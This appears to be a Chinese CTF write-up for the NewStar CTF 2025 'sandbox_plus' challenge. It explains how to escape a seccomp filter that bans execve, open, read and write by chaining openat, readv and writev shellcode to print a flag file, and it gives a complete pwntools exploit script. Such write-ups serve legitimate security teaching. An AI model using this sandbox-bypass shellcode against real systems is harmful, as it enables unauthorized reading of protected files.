sandbox-plus

newstarctf2025sandbox_plus (2).png

main函数:

newstarctf2025sandbox_plus (1).png

禁了execve、execveat、open、read、write

main函数就是执行我们输入的shellocde,这里我们不能用常规的orw链(被禁了),我们要用openat、readv、writev

sandorw = f'''
     {shellcraft.openat(-100, './flag', 0)}
     mov rbx, rax
     {shellcraft.push(0x100)}
     lea rax, [rsp + 0x20]
     push rax
     {shellcraft.readv('rbx', 'rsp', 1)}
     {shellcraft.writev(1, 'rsp', 1)}
'''

首先是openat,我们常规的open,rdi是文件名,rsi是打开方式(0只读, 1只写,2读写),rdx是权限,通常为0,而openat的rdi是路径,我们常设为-100,表示从当前路径找,rsi是文件名,rdx是打开方式

然后是readv,常见的read的rdi是fd(open的返回值),也就是文件描述符,rsi是读到哪,rdx是长度

在讲readv前,我们先讲一个结构体

struct iovec {
    void  *iov_base;    /* 缓冲区的起始地址 */
    size_t iov_len;     /* 缓冲区的大小 */
};

readv的rdi也是fd,但是rsi是指向这个结构体的指针,rdx表示有多少个结构体(一般我们只读一个文件就是只用写1),相当于我们把读到哪和长度放在结构体里告诉readv了

最后是writev,常规的write的rdi是fd(常用1,代表标准输出,输出到屏幕上),rsi是输出哪里的内容,rdx是长度

writev的rdi也是fd,rsi是指向结构体的指针,rdx代表有多少个结构体

好的,清楚了这个我们看汇编代码

首先openat,然后把openat的返回值存入rbx(这一步是怕shellcraft的操作改变了rax,所以我们把rax的值放到一个一般不会动的寄存器rbx里),然后我们建一个结构体放在栈上,栈由高地址向低地址生长,所以我们先push iov_len,rax现在可以随便用了,我们把*iov_base放到rax里再push到栈上,这里我们要避免写入破坏我们的结构体,不然后面writev没法用了,所以我们不能直接用rsp指向的地址,我们把它往上移动一点,把写入的部分放在我们结构体的上方,即放在比结构体地址更高的地方,因为我们写入数据是从低地址往高地址写的,所以我们就会往越来越高的地方写入,碰不到我们的结构体

然后push rax,这时rsp就指向我们的*iov_base,用rsp当readv和writev的rsi参数就行

EXP:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = '0.0.0.0 36355'

file_name = './sandbox_plus'

elf = ELF(file_name)
context.binary = elf

gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0

if debug:
    context(log_level='debug')

if error:
    context(log_level='error')

bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'), 
# ('system', 'libc')
]

gdb_cmd = ''
if gdb_ and switch == 0:
    gdb_cmd += "set breakpoint pending on\n"
    for b in bps:
       if isinstance(b, int):
           gdb_cmd += f"b *$rebase({hex(b)})\n"
       elif isinstance(b, str):
           gdb_cmd += f"b {b}\n"
    gdb_cmd += "c\n"

if switch:
   parts = target.replace(':', ' ').split()
   host = parts[-2]
   port   = int(parts[-1])
   p = remote(host, port)
elif gdb_:
   p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
   p = process(file_name)

def s(data):             return p.send(data)
def sa(delim, data):     return p.sendafter(delim, data)
def sl(data):            return p.sendline(data)
def sla(delim, data):    return p.sendlineafter(delim, data)
def r(numb=4096):        return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool):            return p.recvline(keepends=bool)
def ra(t=None):          return p.recvall(timeout=t)
def rn(numb):            return p.recvn(numb)
def cl():                return p.close()
def it():                return p.interactive()
def uc64(data):          return u64(data.rjust(8, b'\x00'))
def uu64(data):          return u64(data.ljust(8, b'\x00'))
def addr(off):           return lg(hex(off), (ret := elf.address + off)) or ret
def cb(data):            return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address):         return (address).to_bytes(3, 'big')
def ntpie(leak, offset, name='PIE'):  return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def base(val, binary=elf):            return binary.address + val  
def fill(num, content=b'A'):          return (content.encode() if isinstance(content, str) else content) * num
def se(s): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next(elf.search(s if isinstance(s, bytes) else s.encode())))) or addr

_rop_cache = {}
def gg(s):
   target = elf
   if target not in _rop_cache:
       _rop_cache[target] = ROP(target)
   rop = _rop_cache[target]
   instrs = [x.strip() for x in s.split(';')]
   if (gadget := rop.find_gadget(instrs)):
       lg(s, gadget.address)
       return gadget.address
   else:
       raise ValueError(f"[-] Critical: Gadget not found: {s}")

def ga(delim=b'|', name='Leak', data=None):
    target_data = data if data else ru(delim)
    if isinstance(target_data, str):
        target_data = target_data.encode()
    hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
    return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################



sandorw = f'''
     {shellcraft.openat(-100, './flag', 0)}
     mov rbx, rax
     {shellcraft.push(0x100)}
     lea rax, [rsp + 0x20]
     push rax
     {shellcraft.readv('rbx', 'rsp', 1)}
     {shellcraft.writev(1, 'rsp', 1)}
'''


sa(b'please input a orw_plus function (also also after compile)',asm(sandorw))
it()

题目链接:CTF-Writeups/NewStar CTF 2025 at main · Zenquiem/CTF-Writeups


sandbox-plus
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-1xJnvZyv
作者
ZenDuk
发布于
2026年03月23日
许可协议